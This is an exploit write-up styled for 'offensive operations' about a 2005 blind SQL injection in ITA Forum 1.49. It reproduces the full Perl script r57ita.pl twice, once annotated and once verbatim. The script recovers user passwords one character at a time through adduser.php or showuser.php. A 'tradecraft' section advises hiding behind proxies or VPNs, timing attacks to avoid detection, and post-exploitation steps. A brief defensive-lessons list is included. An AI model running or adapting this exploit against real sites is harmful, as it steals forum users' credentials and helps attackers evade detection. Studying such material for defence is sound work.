ITA Forum 1.49 SQL Injection Exploit: A Deep Dive for Offensive Operations

What this paper is

This paper, published on January 13, 2005, details a SQL injection vulnerability in ITA Forum version 1.49. The exploit, written by RusH (also credited as 1dt.w0lf // r57), leverages this vulnerability to extract user passwords. It's a classic example of a blind SQL injection attack where the attacker infers data by observing the application's response.

Simple technical breakdown

The core of the exploit relies on sending specially crafted SQL queries to the web application. ITA Forum, in its 1.49 version, had a flaw where it didn't properly sanitize user input before incorporating it into SQL queries.

The exploit works by:

1. Targeting specific PHP files: adduser.php and showuser.php.
2. Injecting SQL commands: It manipulates parameters like uid (in showuser.php) or user registration fields (in adduser.php) to inject SQL code.
3. Extracting characters one by one: It uses a "blind" technique. For each character of the password, it tries to determine its ASCII value. It does this by asking the database if a specific character at a specific position in the password falls within a certain range.
4. Brute-forcing the password: The script iteratively guesses characters, building the password string until it successfully retrieves the entire password.

Complete code and payload walkthrough

The provided Perl script r57ita.pl is the core of the exploit. Let's break it down:

#!/usr/bin/perl

use LWP::UserAgent;

# ITA Forum 1.49 sql injection exploit with one char bruteforce by 1dt.w0lf // r57
# ... (comments and examples) ...

$path     = $ARGV[0]; # The base URL path to the ITA Forum installation
$username = $ARGV[1]; # The username whose password we want to retrieve
$target   = $ARGV[2]; # A flag to determine which PHP file to target (0 for adduser.php, 1 for showuser.php)

$s_num = 1; # Counter for the current character position in the password being guessed
$|++; # Auto-flush output buffer

if (@ARGV < 2) { &usage; } # Check if enough arguments are provided, if not, show usage

if($target)
 {
 $string = $username; # For showuser.php, the presence of the username in the output indicates success
 $path = $path."showuser.php"; # Append the target file
 print " [!] Exploiting showuser.php\r\n";
 }
else
 {
 # For adduser.php, a specific Russian string is expected in the response if successful.
 # This string translates to "This login is already taken!"
 $string = "&#1069;&#1090;&#1086;&#1090; &#1083;&#1086;&#1075;&#1080;&#1085; &#1091;&#1078;&#1077; &#1079;&#1072;&#1085;&#1103;&#1090;!";
 $path = $path."adduser.php"; # Append the target file
 print " [!] Exploiting adduser.php\r\n";
 }

print " Please wait...\r\n";
print " [";

while(1) # Infinite loop to guess characters until the password is found
{
# This is the core logic for guessing the character.
# It first tries to guess characters in the range 47-58 (ASCII for '0'-'9').
# If that fails, it tries the range 96-122 (ASCII for '`'-'z').
# The found character's ASCII value is stored in $i.
if(&found(47,58)==0) { &found(96,122); }
$char = $i; # Store the found character's ASCII value
if ($char=="0") # If $i is 0, it means no character was found in the tested ranges, indicating the password is complete.
 {
 print qq{]

 USER_NAME: $username
 USER_PASS: $allchar # $allchar accumulates the guessed characters
 };
 exit(); # Exit the script
 }
else
 {
 print "x"; # Print 'x' to show progress for each guessed character
 $allchar .= chr($char); # Append the guessed character to the password string
 }
$s_num++; # Increment the character position counter for the next guess
}

# Subroutine to perform a binary search for a character's ASCII value within a given range.
sub found($$)
 {
 my $fmin = $_[0]; # Minimum ASCII value in the current search range
 my $fmax = $_[1]; # Maximum ASCII value in the current search range
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; } # If the range is small, use a linear crack.

 # Binary search step: calculate a midpoint.
 $r = int($fmax - ($fmax-$fmin)/2);
 # Construct a SQL condition to check if the character at $s_num is BETWEEN $r and $fmax.
 $check = " BETWEEN $r AND $fmax";
 if ( &check($check) ) { &found($r,$fmax); } # If the condition is true, search in the upper half.
 else { &found($fmin,$r); } # Otherwise, search in the lower half.
 }

# Subroutine to perform a linear search (brute-force) for a character's ASCII value within a small range.
sub crack($$)
 {
 my $cmin = $_[0]; # Minimum ASCII value
 my $cmax = $_[1]; # Maximum ASCII value
 $i = $cmin;
 while ($i<$cmax)
  {
  # Construct a SQL condition to check if the character at $s_num is EQUAL to $i.
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; } # If found, return the ASCII value.
  $i++;
  }
 $i = 0; # If no character is found in the range, return 0.
 return $i;
 }

# Subroutine to send the crafted HTTP request and check the response.
sub check($)
 {
 $n++; # Increment a counter for the number of checks performed.
 $ccheck = $_[0]; # The SQL condition fragment (e.g., " BETWEEN X AND Y" or "= X").
 if($target){
 # Construct the HTTP query for showuser.php.
 # It injects SQL to check the ASCII value of the character at position $s_num in the user_pass.
 $http_query = $path."?uid=".$username."\' AND ascii(substring(user_pass,".$s_num.",1))".$ccheck." /*";
 }
 else{
 # Construct the HTTP query for adduser.php.
 # It injects SQL to check the ASCII value of the character at position $s_num in the user_pass.
 # This also includes dummy parameters for registration.
 $http_query = $path."?user_pass1=ghc4ever&user_pass2=ghc4ever&user_email=root\@microsoft.com&Submit=true&user_login=".$username."\' AND ascii(substring(user_pass,".$s_num.",1))".$ccheck." /*";
 }
 # wanna view xpl work?
 # print "\r\n$http_query\r\n"; # Uncomment to see the generated SQL queries.
 $mcb_reguest = LWP::UserAgent->new() or die; # Create a new LWP UserAgent object.
 $res = $mcb_reguest->post($http_query); # Send the HTTP POST request.
 @results = $res->content; # Get the response content.

 foreach $result(@results)
  {
  if ($result =~ /$string/) { return 1; } # If the expected string is found in the response, return 1 (success).
  }
 return 0; # Otherwise, return 0 (failure).
 }

# Subroutine to display usage instructions.
sub usage()
 {
 print q(
    ITA Forum version <= 1.49 sql injection exploit ver2
 ==========================================================
    usage: r57ita.pl [path/to/forum/] [user_name] [target]
  targets:
           0 - adduser.php
           1 - showuser.php
 ==========================================================
     e.g.: r57ita.pl http://blah.com/ admin 0
 ==========================================================
           visit www.rst.void.ru for more info
 );
 exit();
 }

# milw0rm.com [2005-01-13]

Code Fragment/Block -> Practical Purpose Mapping:

• #!/usr/bin/perl -> Shebang line, specifies the interpreter.
• use LWP::UserAgent; -> Imports the LWP::UserAgent module for making HTTP requests.
• $path = $ARGV[0]; -> Stores the target forum's base URL.
• $username = $ARGV[1]; -> Stores the username whose password is to be extracted.
• $target = $ARGV[2]; -> Stores the target file indicator (0 or 1).
• $s_num = 1; -> Initializes the password character position counter.
• $|++; -> Enables automatic flushing of the output buffer, ensuring progress is displayed immediately.
• if (@ARGV < 2) { &usage; } -> Argument validation.
• if($target) { ... } else { ... } -> Conditional logic to set the target file and the expected response string based on the $target argument.
• $string = $username; -> For showuser.php, the presence of the username in the response indicates a successful query.
• $string = "Этот логин уже занят!"; -> For adduser.php, this is the Russian string "This login is already taken!" which is expected if the injected SQL query is valid and the character guess is correct.
• while(1) { ... } -> The main loop for brute-forcing the password character by character.
• if(&found(47,58)==0) { &found(96,122); } -> Calls the found subroutine to guess the current character. It first tries ASCII 47-58 (0-9), and if that fails, it tries 96-122 (- to z).
• $char = $i; -> Assigns the found ASCII value to $char.
• if ($char=="0") { ... exit(); } -> If $i is 0, it means no character was found, implying the password is complete.
• $allchar .= chr($char); -> Appends the successfully guessed character to the $allchar string, building the password.
• $s_num++; -> Increments the character position for the next iteration.
• sub found($$) { ... } -> Implements a binary search algorithm to efficiently find the ASCII value of a character within a given range.
• $r = int($fmax - ($fmax-$fmin)/2); -> Calculates the midpoint for binary search.
• $check = " BETWEEN $r AND $fmax"; -> Constructs a SQL BETWEEN clause.
• if ( &check($check) ) { &found($r,$fmax); } else { &found($fmin,$r); } -> Recursive calls to narrow down the search range.
• sub crack($$) { ... } -> Implements a linear search (brute-force) for characters within a small ASCII range. Used when the binary search range becomes small.
• $crcheck = "=$i"; -> Constructs a SQL = clause.
• if ( &check($crcheck) ) { return $i; } -> Checks if the current character matches the ASCII value $i.
• sub check($) { ... } -> This is the core function that constructs and sends the malicious HTTP request.
• $http_query = $path."?uid=".$username."\' AND ascii(substring(user_pass,".$s_num.",1))".$ccheck." /*"; -> The SQL injection payload for showuser.php. It uses substring to get the character at $s_num position, ascii to get its ASCII value, and then checks if it matches the condition $ccheck. The /* is a comment to truncate any remaining SQL.
• $http_query = $path."?user_pass1=ghc4ever&user_pass2=ghc4ever&user_email=root\@microsoft.com&Submit=true&user_login=".$username."\' AND ascii(substring(user_pass,".$s_num.",1))".$ccheck." /*"; -> The SQL injection payload for adduser.php. Similar logic but includes parameters for user registration.
• $mcb_reguest = LWP::UserAgent->new() or die; -> Initializes the HTTP client.
• $res = $mcb_reguest->post($http_query); -> Sends the crafted request.
• if ($result =~ /$string/) { return 1; } -> Checks if the response content contains the expected $string.
• sub usage() { ... } -> Displays help information.

Shellcode/Payload Segments:

There is no traditional shellcode in this exploit. The "payload" is the SQL injection string itself, which is dynamically constructed by the Perl script. The script's logic is the payload delivery mechanism.

• Stage 1: Character Position Guessing ($s_num)
  • Purpose: To iterate through each character of the target password.
  • Mechanism: The $s_num variable is incremented in the main while(1) loop.
• Stage 2: Character ASCII Value Guessing (&found, &crack)
  • Purpose: To determine the ASCII value of the character at the current position ($s_num).
  • Mechanism:
    • &found uses a binary search approach. It queries the database with conditions like ascii(substring(user_pass, $s_num, 1)) BETWEEN X AND Y.
    • If the response indicates success (the expected $string is found), it means the character's ASCII value falls within that range. The search range is narrowed.
    • If the range becomes small, &crack performs a linear brute-force check (ascii(...) = X).
• Stage 3: HTTP Request Construction (&check)
  • Purpose: To build the specific URL and parameters for the SQL injection.
  • Mechanism: The check subroutine dynamically creates the http_query string, appending the SQL injection logic to the target script's URL.
• Stage 4: HTTP Request Execution (LWP::UserAgent)
  • Purpose: To send the crafted request to the vulnerable web server.
  • Mechanism: LWP::UserAgent->new() creates an HTTP client, and $mcb_reguest->post($http_query) sends the request.
• Stage 5: Response Analysis (if ($result =~ /$string/))
  • Purpose: To interpret the server's response and determine if the SQL injection was successful for the current character guess.
  • Mechanism: The script checks if the response content contains the predefined $string. A match signifies that the guessed character (or range) is correct.
• Stage 6: Password Reconstruction ($allchar .= chr($char))
  • Purpose: To build the complete password string as characters are successfully identified.
  • Mechanism: The ASCII value of the confirmed character is converted back to a character using chr() and appended to $allchar.
• Stage 7: Termination (if ($char=="0") { ... exit(); })
  • Purpose: To stop the script once the entire password has been retrieved.
  • Mechanism: If the guessing logic returns 0 (indicating no character was found in the tested ranges), it assumes the password is complete and exits.

Practical details for offensive operations teams

• Required Access Level: Network access to the target web server and knowledge of the target application's URL. No local access or prior authentication is strictly required for the initial exploitation, though authenticated access might be needed for subsequent actions.
• Lab Preconditions:
  • A functional ITA Forum 1.49 installation (or a similar vulnerable PHP application) in a controlled lab environment.
  • A web server (e.g., Apache, Nginx) configured to serve the PHP application.
  • A database (e.g., MySQL) accessible by the web application.
  • The LWP::UserAgent Perl module installed on the attacker's machine.
• Tooling Assumptions:
  • Perl interpreter on the attacker's machine.
  • LWP::UserAgent Perl module.
  • A text editor for modifying the script.
  • A command-line interface.
• Execution Pitfalls:
  • Incorrect Path: The $path argument must be precise, pointing to the directory containing the ITA Forum scripts.
  • Firewall/WAF Blocking: Modern Web Application Firewalls (WAFs) or network firewalls might detect and block the SQL injection patterns. The simple /* comment might be a giveaway.
  • Application Logic Changes: If the target application has been patched or modified, the exploit might not work. The specific expected response string ($string) is critical.
  • Character Set Issues: The exploit assumes a specific character set for passwords. If the forum uses unusual characters or encodings, the brute-force ranges might need adjustment. The current ranges (digits and lowercase letters) are common but not exhaustive.
  • Rate Limiting: Aggressive brute-forcing can trigger rate limiting on the server, leading to temporary or permanent IP bans.
  • Timeouts: Long execution times for each character guess can lead to HTTP request timeouts.
  • Error Handling: The script has minimal error handling for network issues or unexpected server responses.
  • Target Selection: The $target argument (0 or 1) must be correct for the desired exploitation path.
• Tradecraft Considerations:
  • Stealth: This is a noisy exploit. The numerous HTTP requests will be logged by the web server and potentially network devices. Consider using proxies or VPNs to mask the origin.
  • Timing: Running the exploit during off-peak hours might reduce the chance of immediate detection by human operators.
  • Customization: The exploit's response string ($string) and character ranges might need customization based on reconnaissance of the target application.
  • Post-Exploitation: Once a password is obtained, the next steps would involve using these credentials to access the application, potentially escalating privileges or exfiltrating further data.

Where this was used and when

This exploit targets ITA Forum version 1.49, which was a web forum software. Given the publication date of January 13, 2005, this exploit would have been relevant in the mid-2000s. Such SQL injection vulnerabilities were very common in web applications of that era due to less mature security practices and frameworks. It's highly unlikely this specific version of ITA Forum is still in widespread use, but the technique of blind SQL injection remains relevant.

Defensive lessons for modern teams

• Input Validation and Sanitization: This is the most crucial lesson. All user-supplied input must be treated as untrusted. Use parameterized queries (prepared statements) or proper escaping functions to prevent SQL injection.
• Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common SQL injection patterns. However, WAFs are not foolproof and can be bypassed.
• Secure Coding Practices: Train developers on secure coding principles, including the dangers of SQL injection and how to prevent it.
• Regular Patching and Updates: Keep all web applications, frameworks, and server software updated to the latest versions to patch known vulnerabilities.
• Least Privilege: Ensure the web application's database user has only the minimum necessary privileges. This limits the damage an attacker can do even if they achieve SQL injection.
• Error Handling: Avoid revealing detailed database error messages to users, as these can provide attackers with valuable information about the database structure and query logic.
• Logging and Monitoring: Implement robust logging of web server and application activity. Monitor logs for suspicious patterns, such as a high volume of requests to specific scripts with unusual parameters.
• Code Auditing: Regularly audit application code for security vulnerabilities.

ASCII visual (if applicable)

This exploit's flow is primarily sequential and iterative, making a complex architectural diagram less impactful than a simple representation of the request-response cycle and the guessing process.

+-----------------+      +--------------------+      +-----------------------+
| Attacker's      |----->| Web Server (ITA    |----->| Database              |
| Machine         |      | Forum 1.49)        |      |                       |
| (Perl Script)   |      |                    |      |                       |
+-----------------+      +--------------------+      +-----------------------+
        ^                        |
        |                        | HTTP Request (SQL Injection)
        |                        v
        |      +--------------------+
        |      | Application Logic  |
        |      | (adduser.php /    |
        |      | showuser.php)      |
        |      +--------------------+
        |                        |
        |                        | SQL Query Construction
        |                        v
        |      +--------------------+
        |      | Database Query     |
        |      | (e.g., SELECT ...  |
        |      |  WHERE user_pass LIKE ... ) |
        |      +--------------------+
        |                        |
        |                        | SQL Response (Data or Error)
        |                        v
        |      +--------------------+
        |      | Application Logic  |
        |      | (Processes Query   |
        |      |  Result)           |
        |      +--------------------+
        |                        |
        +------------------------+ HTTP Response (Contains $string if successful)

Explanation:

1. The Perl script on the attacker's machine constructs an HTTP request.
2. This request is sent to the vulnerable web server hosting ITA Forum.
3. The web server passes the request to the target PHP script (adduser.php or showuser.php).
4. The PHP script incorporates user input into a SQL query, which is then sent to the database.
5. The database executes the query.
6. The result of the query is returned to the PHP script.
7. The PHP script generates an HTTP response based on the query result.
8. The Perl script analyzes the HTTP response. If the expected string is found, it confirms a correct guess for the current character.

Source references

• Exploit-DB Paper: https://www.exploit-db.com/papers/754
• Raw Exploit Code: https://www.exploit-db.com/raw/754

Original Exploit-DB Content (Verbatim)

#!/usr/bin/perl

use LWP::UserAgent;

# ITA Forum 1.49 sql injection exploit with one char bruteforce by 1dt.w0lf // r57
# 
# ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
# example:
# r57ita.pl http://127.0.0.1/ITA/ admin 0
# [!] Exploiting adduser.php
# Please wait...
# [xxxxxxxxxxxxxxxx]
#
# USER_NAME: admin
# USER_PASS: 340878063a81cd71
#
# example2:
# r57ita.pl http://127.0.0.1/ITA/ admin 1
# [!] Exploiting showuser.php
# Please wait...
# [xxxxxxxxxxxxxxxx]
#
# USER_NAME: admin
# USER_PASS: 340878063a81cd71
# ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
# greets2:
# foster and all ghc members

$path     = $ARGV[0];
$username = $ARGV[1];
$target   = $ARGV[2];

$s_num = 1;
$|++;

if (@ARGV < 2) { &usage; }

if($target) 
 { 
 $string = $username;
 $path = $path."showuser.php"; 
 print " [!] Exploiting showuser.php\r\n"; 
 }
else 
 { 
 $string = "&#1069;&#1090;&#1086;&#1090; &#1083;&#1086;&#1075;&#1080;&#1085; &#1091;&#1078;&#1077; &#1079;&#1072;&#1085;&#1103;&#1090;!";
 $path = $path."adduser.php"; 
 print " [!] Exploiting adduser.php\r\n"; 
 }

print " Please wait...\r\n";
print " [";

while(1)
{
if(&found(47,58)==0) { &found(96,122); } 
$char = $i;
if ($char=="0") 
 { 
 print qq{] 
 
 USER_NAME: $username
 USER_PASS: $allchar
 };
 exit(); 
 }
else 
 { 
 print "x"; 
 $allchar .= chr($char); 
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = " BETWEEN $r AND $fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 $ccheck = $_[0];
 if($target){
 $http_query = $path."?uid=".$username."\' AND ascii(substring(user_pass,".$s_num.",1))".$ccheck." /*";
 }
 else{
 $http_query = $path."?user_pass1=ghc4ever&user_pass2=ghc4ever&user_email=root\@microsoft.com&Submit=true&user_login=".$username."\' AND ascii(substring(user_pass,".$s_num.",1))".$ccheck." /*";
 }
 # wanna view xpl work?
 # print "\r\n$http_query\r\n";
 $mcb_reguest = LWP::UserAgent->new() or die;
 $res = $mcb_reguest->post($http_query); 
 @results = $res->content; 
 
 foreach $result(@results)
  {
  if ($result =~ /$string/) { return 1; }
  }
 return 0;
 }
 

sub usage()
 {
 print q(
    ITA Forum version <= 1.49 sql injection exploit ver2
 ==========================================================
    usage: r57ita.pl [path/to/forum/] [user_name] [target]
  targets:
           0 - adduser.php 
           1 - showuser.php
 ==========================================================   
     e.g.: r57ita.pl http://blah.com/ admin 0
 ==========================================================
           visit www.rst.void.ru for more info
 );
 exit();
 }

# milw0rm.com [2005-01-13]